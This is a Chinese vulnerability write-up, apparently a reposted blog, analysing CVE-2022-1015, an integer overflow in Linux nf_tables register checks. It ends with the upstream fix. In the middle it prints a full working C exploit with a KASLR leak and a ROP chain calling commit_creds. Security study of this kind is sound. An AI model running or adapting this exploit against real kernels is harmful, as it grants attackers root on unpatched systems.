CVE-2022-1015:nf_tables 中整数溢出导致的栈溢出

文章目录

  • 前言
  • 漏洞分析
  • 漏洞利用
    • OOB Read
    • OOB Write
  • exploit
  • 修复

前言

影响版本:v5.12.0~v5.17.0

测试版本:v5.17.0

编译选项:

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y

漏洞分析

nf_tables 子模块中,会对用户传入的寄存器编号进行合法性检查,防止越界访问。而在相关检查函数 nft_parse_register_loadnft_parse_register_store 中存在整数溢出,从而导致寄存器边界检查错误,而寄存器组是内核栈上的一片连续内存,所以对寄存器的越界访问则是导致了栈溢出

这里先来说说 nf_tables 中的寄存器,我们可以把 nf_tables 看作一个寄存器"虚拟机",其 rule 就代表一个功能,expression 就是构建 rule 功能的指令,而这些指令的数据就保存在寄存器中,其对应的结构体为 struct nft_regs

#define NFT_REG32_NUM		20
struct nft_regs {union {u32			data[NFT_REG32_NUM];struct nft_verdict	verdict;};
};

这里 data 的大小为 20 * 4 = 80 就是前面说的一片连续的内存,第一个寄存器为 verdict 寄存器,其用于对指令后续的判决,其大小为 16 字节,后面剩下的 80 - 16 = 64 字节就是数据寄存器 data regs,在老版本中数据寄存器的大小为 16 字节,一共 4 个,16 * 4 = 64;而在新版本中数据寄存器的大小为 4 字节,一共 16 个,4 * 16 = 64。而为了兼容性,目前是保留了这两种寄存器类型:

enum nft_registers {NFT_REG_VERDICT,NFT_REG_1,NFT_REG_2,NFT_REG_3,NFT_REG_4,__NFT_REG_MAX,NFT_REG32_00	= 8,NFT_REG32_01,NFT_REG32_02,NFT_REG32_03,NFT_REG32_04,NFT_REG32_05,NFT_REG32_06,NFT_REG32_07,NFT_REG32_08,NFT_REG32_09,NFT_REG32_10,NFT_REG32_11,NFT_REG32_12,NFT_REG32_13,NFT_REG32_14,NFT_REG32_15,
};

这里的 NFT_REG_VERDICT 表示的就是 verdict regNFT_REG_1~4 就是 16 字节的数据寄存器,NFT_REG32_00~15 就是 4 字节的数据寄存器

了解了这些,就来看下 nft_parse_register_load 函数,该函数会将用户传入的寄存器编号转化为对应的寄存器偏移,并检查合法性。nft_parse_register_store 跟它差不多,只是后者可以访问 verdict 寄存器:

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{u32 reg;int err;reg = nft_parse_register(attr); // 提取传入的寄存器号,并转换为 Netfilers 寄存器组中的下标err = nft_validate_register_load(reg, len); // 对寄存器编号进行合法性检查if (err < 0)return err;*sreg = reg; // 将寄存器下标保存在 sreg 中return 0;
}

nft_parse_register 函数主要就是解析用户传入的寄存器号,将其转化为对应的偏移:

static unsigned int nft_parse_register(const struct nlattr *attr)
{unsigned int reg;reg = ntohl(nla_get_be32(attr)); // 获取传入的寄存器号,并从网络字节序转换为主机字节序switch (reg) {// NFT_REG_SIZE = 16,NFT_REG32_SIZE = 4,NFT_REG32_00 = 8case NFT_REG_VERDICT...NFT_REG_4: // 16 字节寄存器return reg * NFT_REG_SIZE / NFT_REG32_SIZE;default:	// 4 字节寄存器return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;}
}

可以看到如果传入的是 16 字节寄存器编号,则偏移为 reg * 4;其它的值都认为是 4 字节寄存器编号,偏移为 reg - 4

其实这里就有点问题,4 字节寄存器编号为啥不单独处理呢?

nft_validate_register_load 则是对寄存器进行合法性检查,防止越界访问:

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{//	reg < 4 ==> errorif (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL; // 【1】// len == 0 ==> errorif (len == 0)  return -EINVAL;// reg * 4 + len > 80 ==> errorif (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE; // 【2】return 0;
}

该函数会检查寄存器访问是否存在越界,因为寄存器组总共就 80 字节,所以这里主要就是检查 reg * 4 + len > 80 ,然后 nft_parse_register_load 函数而言,其不允许寄存器为 verdict reg,所以在 【1】 对其进行了检查

但是这里存在一个问题,上层传入的 reg 类型为 u32,然后 reg 是枚举类型,其通常会被编译为 int 类型,len 表示数据包的长度,所以这里 reg * 4 + len 可能存在整数溢出,例如 reg = 0xffffffff,len = 0x10,则 reg * 4 + len = 0x40000000c = 0xc > 80 is false,所以这里成功通过检查,但是此时 reg = 0xffffffff 显然是一个不正确的寄存器下标,而在 nft_parse_register_load 函数中可以看到 sreg 为一个 u8 * 指针,所以最后保存的其实只是低字节,即 sreg = 0xff

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
......*sreg = reg; // 将寄存器下标保存在 sreg 中return 0;
}

当然这里 enum nft_registers 的值是在一个字节以内的,所以编译器可能会直接将其优化为一个字节,所以这里还是得结合汇编代码查看:

   0xffffffff81c2e8d0 <nft_parse_register_load>:        nop    DWORD PTR [rax+rax*1+0x0]0xffffffff81c2e8d5 <nft_parse_register_load+5>:      push   rbp0xffffffff81c2e8d6 <nft_parse_register_load+6>:      mov    eax,DWORD PTR [rdi+0x4]0xffffffff81c2e8d9 <nft_parse_register_load+9>:      bswap  eax0xffffffff81c2e8db <nft_parse_register_load+11>:     mov    edi,eax0xffffffff81c2e8dd <nft_parse_register_load+13>:     lea    ecx,[rax-0x4]0xffffffff81c2e8e0 <nft_parse_register_load+16>:     shl    edi,0x40xffffffff81c2e8e3 <nft_parse_register_load+19>:     mov    rbp,rsp0xffffffff81c2e8e6 <nft_parse_register_load+22>:     shr    edi,0x20xffffffff81c2e8e9 <nft_parse_register_load+25>:     cmp    eax,0x40xffffffff81c2e8ec <nft_parse_register_load+28>:     mov    eax,edi  ; <==== eax0xffffffff81c2e8ee <nft_parse_register_load+30>:     cmova  eax,ecx  ; <==== eax0xffffffff81c2e8f1 <nft_parse_register_load+33>:     test   edx,edx0xffffffff81c2e8f3 <nft_parse_register_load+35>:     je     0xffffffff81c2e911 0xffffffff81c2e8f5 <nft_parse_register_load+37>:     cmp    eax,0x30xffffffff81c2e8f8 <nft_parse_register_load+40>:     jbe    0xffffffff81c2e911 0xffffffff81c2e8fa <nft_parse_register_load+42>:     lea    edx,[rdx+rax*4] ; <===== reg*4 + len0xffffffff81c2e8fd <nft_parse_register_load+45>:     cmp    edx,0x50 ; <====== 检查 reg*4 + len > 80 ?0xffffffff81c2e900 <nft_parse_register_load+48>:     ja     0xffffffff81c2e921 0xffffffff81c2e902 <nft_parse_register_load+50>:     mov    BYTE PTR [rsi],al0xffffffff81c2e904 <nft_parse_register_load+52>:     pop    rbp0xffffffff81c2e905 <nft_parse_register_load+53>:     xor    eax,eax0xffffffff81c2e907 <nft_parse_register_load+55>:     xor    edx,edx0xffffffff81c2e909 <nft_parse_register_load+57>:     xor    ecx,ecx0xffffffff81c2e90b <nft_parse_register_load+59>:     xor    esi,esi0xffffffff81c2e90d <nft_parse_register_load+61>:     xor    edi,edi0xffffffff81c2e90f <nft_parse_register_load+63>:     ret

从汇编代码可以看出这里就是 u32 类型的 reg,所以这里确实是存在溢出问题的

这里还得简单说下 ruleexpression 是如何被执行的,其就是被 nft_do_chain 函数执行的,该函数定义如下:

unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{const struct nft_chain *chain = priv, *basechain = chain;const struct nft_rule_dp *rule, *last_rule;const struct net *net = nft_net(pkt);const struct nft_expr *expr, *last;struct nft_regs regs; // <================= 栈上数据,并且没有初始化unsigned int stackptr = 0;struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];bool genbit = READ_ONCE(net->nft.gencursor);struct nft_rule_blob *blob;struct nft_traceinfo info;info.trace = false;if (static_branch_unlikely(&nft_trace_enabled))nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:if (genbit)blob = rcu_dereference(chain->blob_gen_1);elseblob = rcu_dereference(chain->blob_gen_0);rule = (struct nft_rule_dp *)blob->data;last_rule = (void *)blob->data + blob->size;
next_rule:regs.verdict.code = NFT_CONTINUE;for (; rule < last_rule; rule = nft_rule_next(rule)) { 	// 遍历 chain 中的所有 rulenft_rule_dp_for_each_expr(expr, last, rule) {		// 遍历 rule 中的所有 exprif (expr->ops == &nft_cmp_fast_ops)nft_cmp_fast_eval(expr, &regs);else if (expr->ops == &nft_bitwise_fast_ops)nft_bitwise_fast_eval(expr, &regs);else if (expr->ops != &nft_payload_fast_ops || !nft_payload_fast_eval(expr, &regs, pkt))expr_call_ops_eval(expr, &regs, pkt); 		// 调用 expr->ops->eval() 执行 ruleif (regs.verdict.code != NFT_CONTINUE)			// 检查 verdictbreak;}// 如果 verdict == NFT_BREAK, 则停止执行该 rule,跳转到下一个 ruleswitch (regs.verdict.code) {case NFT_BREAK:regs.verdict.code = NFT_CONTINUE;continue;case NFT_CONTINUE:nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE);continue;}break; // 否则,停止执行所有 rule, 更细致的检查 verdict}nft_trace_verdict(&info, chain, rule, &regs);// chain 处理完成后,检查 verdictswitch (regs.verdict.code & NF_VERDICT_MASK) {case NF_ACCEPT:case NF_DROP:case NF_QUEUE:case NF_STOLEN:return regs.verdict.code;}switch (regs.verdict.code) { // NFT_JUMP 表示跳转到另一个 chain, 将返回地址压栈(类似call指令)// 如果将要执行的 chain 没有设置明确的 verdict, 则恢复之前中断的执行case NFT_JUMP:if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))return NF_DROP;jumpstack[stackptr].chain = chain;jumpstack[stackptr].rule = nft_rule_next(rule);jumpstack[stackptr].last_rule = last_rule;stackptr++;fallthrough;// NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)case NFT_GOTO:chain = regs.verdict.chain;goto do_chain;case NFT_CONTINUE:case NFT_RETURN:break;default:WARN_ON_ONCE(1);}// 返回到调用栈之前的 chainif (stackptr > 0) {stackptr--;chain = jumpstack[stackptr].chain;rule = jumpstack[stackptr].rule;last_rule = jumpstack[stackptr].last_rule;goto next_rule;}nft_trace_packet(&info, basechain, NULL, NFT_TRACETYPE_POLICY);if (static_branch_unlikely(&nft_counters_enabled)) nft_update_chain_stats(basechain, pkt);// 如果没有到达明确的 verdict, 返回 chain 的 policy (默认为 accept 或 drop)return nft_base_chain(basechain)->policy;
}

可以看到这里的寄存器其实就是栈上数据,并且没有初始化,这里没有初始化,所以其存在未初始化漏洞(CVE-2022-1016),我们可以直接读取寄存器中的值去泄漏相关数据

漏洞利用

这里主要的想法就是去 bypass kaslr,然后利用栈溢出劫持程序执行流,这里笔者 bypass kaslr 利用的是 CVE-2022-1016 漏洞,其主要就是一个未初始化漏洞,这里还是说下 OOB R/W 原语的构造

这里主要利用到 nft_payloadnft_payload_setnft_bitwise 表达式,然后配合 UDP 协议,hook 点为 OUT

UDP 的原因是其不需要建立连接,是一次性的,非常方便;如果使用 TCP 的话,则每次都需要建立连接,而且还有一下其它的验证条件;hook 点的话随意吧,主要是看栈布局能不能够满足利用,因为通过后面的分析你可以知道,这里的越界读写是存在限制的

OOB Read

越界读主要使用 nft_bitwise 表达式:

笔者实际写利用是利用的 CVE-2022-1016,这里是后面看其它大佬的复现报告补的

struct nft_bitwise {u8			sreg;u8			dreg;enum nft_bitwise_ops	op:8;u8			len;struct nft_data		mask;struct nft_data		xor;struct nft_data		data;
};

这里 sregdreg 共用 len ,所以 len 不能越界,得不超过 64。然后我们可以使用 NFT_BITWISE_LSHIFTNFT_BITWISE_RSHIFT 操作,并让 data = 0,那么如果此时 sreg 如何越界,则可以将栈上的数据保存在 dreg 中,则可能泄漏相关地址

那么这里我们来计算一下该操作可以溢出的范围,我们知道我们必须得绕过 reg * 4 + len > 80 这个检查

注意:这里的 reg 是用户传入的值减了 4

  • 如果我们想要在经可能低的位置泄漏数据,则必须让 reg 的低字节足够小,也就是是 len 得足够大。前面说了 len 最大为 64,所以 reg 低字节最小为 0xf0,所以其可以读取的范围为 [0xf0*4, 0xfb*4+64][0x3c0, 0x42c]

    >>> for i in range(0xffffffff+1)[::-1]:
    ...  x = (i-4) * 4 + 64
    ...  if x & 0xffffffff <= 80:
    ...   print(hex(i-4))
    ...
    0xfffffffb
    0xfffffffa
    0xfffffff9
    0xfffffff8
    0xfffffff7
    0xfffffff6
    0xfffffff5
    0xfffffff4
    0xfffffff3
    0xfffffff2
    0xfffffff1
    0xfffffff0
    
  • 这里似乎还可以通过调整 len 去改变 reg 的范围,但是通过第一步可以看出,其最大的 reg 已经为 0xfb 了,所以后面改变 len 不能够再获得更大的读取范围了

所以我们需要在 n[0x3c0, 0x42c] 这个范围内去找到相关内核地址进行泄漏,主要思路如下:

  • 利用 nft_bitwise 越界读取内核地址到 dreg
  • 利用 nft_payload_setdreg 中的内核地址设置到 UDP 数据报数据部分

OOB Write

越界写主要使用 nft_payload 表达式:

struct nft_payload {enum nft_payload_bases	base:8;u8			offset;u8			len;u8			dreg;
};

可以看到这里 len 的最大长度为 0xff,所以这里 dreg 的越界范围为:

>>> for i in range(0xffffffff+1)[::-1]:
...  x = (i-4) * 4 + 0xff
...  if x & 0xffffffff <= 80:
...   print(hex(i-4))
...
0xffffffd4
0xffffffd3
0xffffffd2
0xffffffd1
0xffffffd0
0xffffffcf
0xffffffce
0xffffffcd
0xffffffcc
0xffffffcb
0xffffffca
0xffffffc9
0xffffffc8
0xffffffc7
0xffffffc6
0xffffffc5
0xffffffc4
0xffffffc3
0xffffffc2
0xffffffc1

[0x304, 0x350] 之间,所以得在里面找到某个函数的返回地址进行覆盖,这里还得注意如果存在 kcanary 的话,还不能覆盖 kcanary

所以这里的利用跟内存布局的关系非常大,不同版本的内核、不同的编译选项、不同的 gcc 版本都会导致相关栈内存布局发生变化。如果 UDP+OUT 无法满足利用栈布局,则考虑换成其它 HOOK 点或使用 TCP 协议。当然笔者比较幸运,在笔者编译的 v5.17 内核中,在该范围内刚好存在相关返回地址

exploit

这里比较难搞的时,在最开始为了操作 nf_tables,我们创建了新的命名空间,所以最后我们得进行命名空间的切换,但是笔者没有找到类似于 mov rdi, rax ; ret 效果的 gadget,所以笔者就没有进行命名空间的切换(:但是问题不大???

最后 exploit 如下:有一定的概率失败,主要就是泄漏 kbase 的时候可能栈内存布局上没有残留的内核地址导致的

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>#include "netlink.h"#define RULE_LEAK_ADDRESS 0
#define RULE_ROP_CHAIN 1struct udp_data {char* data;size_t size;uint16_t port;char* addr;size_t addr_size;
};struct listener_data {uint16_t port;char address[8];
};uint32_t leak_expr_dreg = NFT_REG32_00;
static struct nftnl_rule *setup_rule_for_leak(uint8_t family, const char *table, const char *chain, uint16_t port) {puts("[+] Try to bypass kaslr");struct nftnl_rule *r = NULL;r = nftnl_rule_alloc();if (r == NULL) fail_exit("nftnl_rule_alloc()");nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);// 检查 udp 端口// port at offset = 2 | len = 2puts("[+]  add_cmp to check port");add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 2, 2, NFT_REG32_01);uint16_t port_net = htons(port);add_cmp(r, NFT_CMP_EQ, NFT_REG32_01, &port_net, sizeof(port_net));// leak kernel address
//      puts("[+]  add_bitwise to oob read");
//      uint32_t expr_len = 0x20;
//      uint32_t expr_sreg = NFT_REG32_01;
//      uint32_t expr_dreg = NFT_REG32_05;
//      uint32_t shift_data = 0;
//      add_bitwise(r, NFT_BITWISE_LSHIFT, expr_len, expr_sreg, expr_dreg, shift_data);puts("[+]  add_payload_set to get leak data");add_payload_set(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0x40, leak_expr_dreg);set_verdict(r, NFT_CONTINUE);return r;
}static struct nftnl_rule *setup_rule_for_rop(uint8_t family, const char *table, const char *chain, uint16_t port) {puts("[+] Try to write rop chain");struct nftnl_rule *r = NULL;r = nftnl_rule_alloc();if (r == NULL) fail_exit("nftnl_rule_alloc()");nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);puts("[+]  add_payload to write rop chain");add_payload(r,  NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0xf0, 0xffffffcc);set_verdict(r, NFT_CONTINUE);return r;
}void add_rule(char *table_name, char *chain_name, char rule_type, uint16_t port) {struct mnl_socket *nl;struct nftnl_rule *r;struct nlmsghdr *nlh;struct mnl_nlmsg_batch *batch;uint8_t family;char buf[MNL_SOCKET_BUFFER_SIZE];uint32_t seq = time(NULL);int ret;family = NFPROTO_IPV4;if (rule_type == RULE_LEAK_ADDRESS)r = setup_rule_for_leak(family, table_name, chain_name, port);else if (rule_type == RULE_ROP_CHAIN)r = setup_rule_for_rop(family, table_name, chain_name, port);else fail_exit("No such rule type");if (r == NULL) fail_exit("setup_rule");nl = mnl_socket_open(NETLINK_NETFILTER);if (nl == NULL) fail_exit("mnl_socket_open()");if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)fail_exit("mnl_socket_bind()");batch = mnl_nlmsg_batch_start(buf, sizeof(buf));nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);mnl_nlmsg_batch_next(batch);nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),NFT_MSG_NEWRULE,nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,seq++);nftnl_rule_nlmsg_build_payload(nlh, r);nftnl_rule_free(r);mnl_nlmsg_batch_next(batch);nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);mnl_nlmsg_batch_next(batch);ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),mnl_nlmsg_batch_size(batch));if (ret == -1) fail_exit("mnl_socket_sendto()");mnl_nlmsg_batch_stop(batch);ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));if (ret == -1) fail_exit("mnl_socket_recvfrom()");ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);if (ret < 0) fail_exit("mnl_cb_run()");mnl_socket_close(nl);
}int e = 1;
int g = 1;
void* send_udp_packet(void *arg) {struct udp_data *leak_udp = (struct udp_data*)arg;int fd;struct sockaddr_in addr;while (g) {}fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (fd < 0) fail_exit("socket()");addr.sin_family = AF_INET;addr.sin_port = htons(leak_udp->port);addr.sin_addr.s_addr = inet_addr(leak_udp->addr);if (sendto(fd, leak_udp->data, leak_udp->size, 0, &addr, sizeof(addr)) < 0)fail_exit("sendto()");while (e) {}close(fd);pthread_exit(NULL);
}void* recv_address(void* arg) {struct listener_data *ldata = (struct listener_data*)arg;int fd, res;char buf[1024] = { 0 };struct sockaddr_in addr;fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (fd < 0) fail_exit("socket()");int reuse_address = 1;setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse_address, sizeof(reuse_address));if (!inet_aton("127.0.0.1", &addr.sin_addr.s_addr)) fail_exit("inet_aton()");addr.sin_family = AF_INET;addr.sin_port = htons(ldata->port);res = bind(fd, &addr, sizeof(addr));if (res < 0) fail_exit("bind()");printf("[+] Listening on port %d\n", ldata->port);g = 0;int addr_len = sizeof(struct sockaddr_in);res = recvfrom(fd, buf, 1024-1, MSG_WAITALL, (struct sockaddr*)&addr, &addr_len);if (res == -1) fail_exit("recvform()");buf[res] = '\x00';printf("[+] recvform data len: %d\n", res);binary_dump("Leak Data", buf, res);uint64_t dic[2] = { 0xffffffff81b634ae, 0xffffffff81b5fd39 };uint64_t *ptr = (uint64_t*)buf;for (int i = 0; i < res / 8; i++) {for (int j = 0; j < 2; j++) {if ((ptr[i]&0xfff) == (dic[j]&0xfff) && ((ptr[i]>>32)&0xffffffff) == 0xffffffff&& ptr[i] > 0xffffffff81000000) {ptr[i] = ptr[i] - dic[j];memcpy(&ldata->address, &ptr[i], 8);goto OVER;}}}OVER:e = 0;pthread_exit(NULL);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}int main() {unshare_setup();save_status();system("ip link set dev lo up");system("ip addr");puts("");uint64_t kbase = 0xffffffff81000000;uint64_t koffset = 0;uint16_t port = 40004;pthread_t send_thr, recv_thr;puts("[+] Step I: Bypass kaslr");char *table_name = "leak_table";char *chain_name = "leak_chain";setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);add_rule(table_name, chain_name, RULE_LEAK_ADDRESS, port);struct udp_data leak_udp = { 0 };char *data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";char *addr = "127.0.0.1";leak_udp.data = data;leak_udp.size = 0x40;leak_udp.port = port;leak_udp.addr = addr;leak_udp.addr_size = sizeof(leak_udp.addr);pthread_create(&send_thr, NULL, send_udp_packet, (void*)&leak_udp);struct listener_data recv_data;memset(&recv_data, 0, sizeof(recv_data));recv_data.port = port;pthread_create(&recv_thr, NULL, recv_address, (void*)&recv_data);pthread_join(send_thr, NULL);pthread_join(recv_thr, NULL);dele_table(table_name);koffset = *(uint64_t*)recv_data.address;kbase += koffset;printf("[+] koffset: %#llx\n", koffset);printf("[+] kbase: %#llx\n", kbase);puts("");puts("[+] Step II: Rop chain");port += 10000;table_name = "rop_table";chain_name = "rop_chain";setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);add_rule(table_name, chain_name, RULE_ROP_CHAIN, port);uint64_t pop_rdi = koffset+0xffffffff810ade60;uint64_t pop_rsi = koffset+0xffffffff811a99a9;uint64_t commit_creds = koffset+0xffffffff810fb090;uint64_t init_cred = koffset+0xffffffff82a8b040;uint64_t find_task_by_vpid = koffset+0xffffffff810f1070;uint64_t switch_task_namespaces = koffset+0xffffffff810f92a0;uint64_t init_nsproxy = koffset+0xffffffff82a8ae00;uint64_t kpti_trampoline = koffset+0xffffffff82000ff0+0x1b;uint64_t push_rax = koffset+0xffffffff810494b8;uint64_t magic = koffset+0xffffffff81a1c02c; // push rax ; pop rdi ; jle 0xffffffff81a1c030 ; pop rbp ; xor esi, esi ; xor edi, edi ; retstruct udp_data rop_udp = { 0 };uint64_t rop[0x100/8] = {pop_rdi,init_cred,commit_creds,//      pop_rdi,//      getpid(),//      find_task_by_vpid,//      magic,//      0,//      pop_rsi,//      init_nsproxy,//      switch_task_namespaces,kpti_trampoline,0,0,get_root_shell,user_cs,user_rflags,user_sp,user_ss};char payload[0x200] = { 0 };memcpy(payload+0x14, rop, sizeof(rop));rop_udp.data = payload;rop_udp.size = 0x100;rop_udp.port = port;rop_udp.addr = addr;rop_udp.addr_size = sizeof(rop_udp.addr);e = g = 0;pthread_create(&send_thr, NULL, send_udp_packet, (void*)&rop_udp);pthread_join(send_thr, NULL);puts("[+] EXP NERVER END");getchar();return 0;
}

效果如下:
在这里插入图片描述

修复

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b354..1f5a0eece0d14b 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)}EXPORT_SYMBOL_GPL(nft_parse_u32_check);-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg){unsigned int reg;reg = ntohl(nla_get_be32(attr));switch (reg) {case NFT_REG_VERDICT...NFT_REG_4:
-		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		*preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		break;
+	case NFT_REG32_00...NFT_REG32_15:
+		*preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		break;default:
-		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		return -ERANGE;}
+
+	return 0;}/**
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)u32 reg;int err;-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+err = nft_validate_register_load(reg, len);if (err < 0)return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,int err;u32 reg;-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+err = nft_validate_register_store(ctx, reg, data, type, len);if (err < 0)return err;

最后的修复比较简单,就是对 4 字节的寄存器进行单独的处理,所以后面的 reg 被限制在有效范围内,而其为 u32 类型的计算,所以不会导致溢出,但是如果是 u8 类型的计算则会导致溢出,所以我认为还是应该把 nft_validate_register_load 函数和 nft_validate_register_store 函数的第一个参数修改为 u32

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/707557.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

手机恢复数据:方法与注意事项

手机数据恢复是许多用户在面对意外数据丢失时迫切需要解决的问题。无论是误删文件、系统故障还是其他原因导致的数据丢失&#xff0c;采取正确的恢复方法至关重要。在本文中&#xff0c;我们将探讨手机恢复数据的方法与注意事项&#xff0c;帮助您有效地找回丢失的重要信息。 手…

【K8s】专题四:Kubernetes 安装方法之 Sealos

以下内容均来自个人笔记并重新梳理&#xff0c;如有错误欢迎指正&#xff01;如果对您有帮助&#xff0c;烦请点赞、关注、转发&#xff01;欢迎扫码关注个人公众号&#xff01; 目录 一、Sealos 简介 二、Sealos 下载、安装 三、Sealos 部署 Kubernetes 集群 四、Sealos 常…

Cocktail for Mac 激活版:一站式系统优化与管理神器

Cocktail for Mac是一款专为Mac用户打造的系统优化与管理工具&#xff0c;凭借其强大的功能和简便的操作&#xff0c;赢得了广大用户的喜爱。这款软件集系统清理、修复和优化于一身&#xff0c;能够帮助用户轻松解决Mac系统中的各种问题&#xff0c;提高系统性能。 Cocktail fo…

【Open AI】GPT-4o深夜发布:视觉、听觉跨越式升级

北京时间5月14日1点整&#xff0c;OpenAI 召开了首场春季发布会&#xff0c;CTO Mira Murati 在台上和团队用短短不到30分钟的时间&#xff0c;揭开了最新旗舰模型 GPT-4o 的神秘面纱&#xff0c;以及基于 GPT-4o 的 ChatGPT&#xff0c;均为免费使用。 本文内容来自OpenAI网站…

PCIE协议-2-事务层规范-Ordering and Receive Buffer Flow Control

2.6 流量控制&#xff08;Flow Control FC&#xff09; 流量控制&#xff08;Flow Control FC&#xff09;用于防止接收器缓冲区溢出&#xff0c;并确保遵守第2.4节中定义的排序规则。请注意&#xff0c;流量控制机制由请求者用来跟踪链路另一端组件中可用的队列/缓冲区空间…

羊大师分析,羊奶健康生活的营养源泉

羊大师分析&#xff0c;羊奶健康生活的营养源泉 羊奶&#xff0c;作为一种古老的饮品&#xff0c;近年来因其独特的营养价值和健康益处而备受关注。今天&#xff0c;羊大师就来探讨一下羊奶与健康之间的紧密联系。 羊奶富含蛋白质、脂肪、维生素和矿物质等多种营养成分。羊奶…

【好书推荐-第十六期】《 LangChain技术解密:构建大模型应用的全景指南》(Github 6800+示例!)

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究生。公众号&#xff1a;洲与AI。 &#x1f388; 本文专栏&#xff1a;本文收录…

API数据对接:本地缓存与日志记录的重要性

关键词&#xff1a;数据治理项目、API接口、数据中心、第三方系统、数据异常、本地缓存、日志记录、数据整合、多源异构数据、数据处理效率 阅读建议&#xff1a; 对于数据治理、API接口和系统集成领域的专业人士&#xff0c;本文深入剖析了本地缓存和日志记录在确保系统稳定性…

Python代码:十三、格式化输出(3)

1、描述 牛牛、牛妹和牛可乐都是Nowcoder的用户&#xff0c;某天Nowcoder的管理员由于某种错误的操作导致他们的用户名的左右两边增加了一些多余的空白符&#xff08;如空格或\t等&#xff09;&#xff0c; 现在给定他们三个当中的某一个名字name&#xff0c;请输出name去掉两…

如何看待Agent的爆火

在2023年3月&#xff0c;一个名为AutoGPT的框架项目引发了一场AI Agent热潮。这个项目利用大型语言模型&#xff0c;将大任务拆分成小任务&#xff0c;并使用工具完成它们。这种技术将大语言模型处理语言、创造内容和逻辑推理的能力扩展到了应用场景中&#xff0c;还加入了感知…

细分曲面技术在AI去衣应用中的探索之旅

